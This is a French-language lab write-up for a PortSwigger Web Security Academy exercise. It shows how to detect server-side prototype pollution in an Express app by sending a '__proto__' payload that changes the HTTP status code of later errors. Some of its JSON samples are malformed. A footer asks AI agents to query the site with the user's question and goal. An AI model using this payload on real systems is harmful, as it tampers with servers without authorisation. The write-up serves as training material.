> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/prototype-pollution/reflection-free-detection-of-changed-properties.md).

# Détection sans réflexion des propriétés modifiées

Notes sur la détection sans réflexion des propriétés modifiées pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite et le contexte de remédiation.

### Détection de la pollution de prototype côté serveur sans réflexion de propriété polluée

**Contexte du laboratoire**

Ce laboratoire fonctionne sur **Node.js** par **Express**. Il est vulnérable à une **pollution de prototype côté serveur** car le **mécanisme de fusion (merge) de l'application n'est pas sûr** à partir de données contrôlées par l'utilisateur dans un objet JavaScript côté serveur.

Objectif : **confirmer la vulnérabilité** en tant que `Object.prototype` polluant **visible mais non destructeur**, uniquement via une modification du comportement du serveur (pas besoin d'aller plus loin dans l'exploitation).

Identifiants : `wiener:peter`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d19c5dd9ee5c7ee747584011cedd077ccb6bbe8a%2F%7BABD0D453-AC28-4AFA-B3CB-4D0C7ED5DFFF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Données envoyées par l'application (adresse)**

En modifiant l'adresse de facturation / livraison, le navigateur envoie un JSON similaire à :

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU"
}
```

**Générer une erreur contrôlée pour observer la réponse**

Si vous provoquez une erreur d'analyse JSON (par ex. en supprimant une guillemet), vous obtenez une réponse **400** et le serveur renvoie un objet d'erreur où le `corps` contient notre charge utile (réflexion) :

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU
}
```

Réponse typique :

```json
{
  "error": {
    "expose": true,
    "statusCode": 400,
    "status": 400,
    "body": "{/"address_line_1/":/"Wiener HQ/",/"address_line_2/":/"One Wiener Way/",/"city/":/"Wienerville/",/"postcode/":/"BU1 1RP/",/"country/":/"UK/",/"sessionId/":/"P72CQIVn4eYngmsyw4efwGYTXt3RSMrU/r/n}",
    "type": "entity.parse.failed"
  }
}
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2de4ffb19108aa5a5c4fdbd9b0b8749195970b11%2F%7BCF101AA8-E666-445D-B493-7B4614A6DB72%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Idée : preuve de pollution sans réflexion directe**

Plutôt que d'attendre qu'une propriété polluée soit renvoyée dans le corps, on peut viser un **changement de comportement mesurable**, par ex. le \*\*code HTTP\*\* renvoyé lors d'une erreur.

Ici, le serveur utilise (ou propage) des champs comme `status` / `statusCode`. Si nous parvenons à polluer `Object.prototype.status`, alors lors de futures erreurs, Express (ou le gestionnaire d'erreur) peut récupérer cette valeur via l'héritage du prototype → le serveur renverra un **status**.

**Tentative de pollution via `__proto__`**

Un `__proto__` la clé est injectée dans le JSON (dans une requête JSON valide, pas dans une requête cassée), par exemple :

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU,
  "__proto__": {
    "status": 405
    }
}
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13142ee16a2b83071ec1e17de55db67d5a117341%2F%7B0E3ADAC1-446F-4697-8F06-447A7EF39BF0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Effet attendu : après cette pollution, **toute erreur** (par ex. une erreur volontaire d'analyse JSON) peut désormais répondre avec **405 au lieu de 400**, car `status` est hérité de `Object.prototype`.

**Résultat / validation**

* Avant la pollution : erreurs → `400`
* Après la pollution : erreurs → `405` (ou tout autre code choisi)

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8502a11bc755a8ff5b77addcdbe4a8d4883a5a6%2F%7B880D560F-8BA7-437B-AE97-36FDD182BA6C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/prototype-pollution/reflection-free-detection-of-changed-properties.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
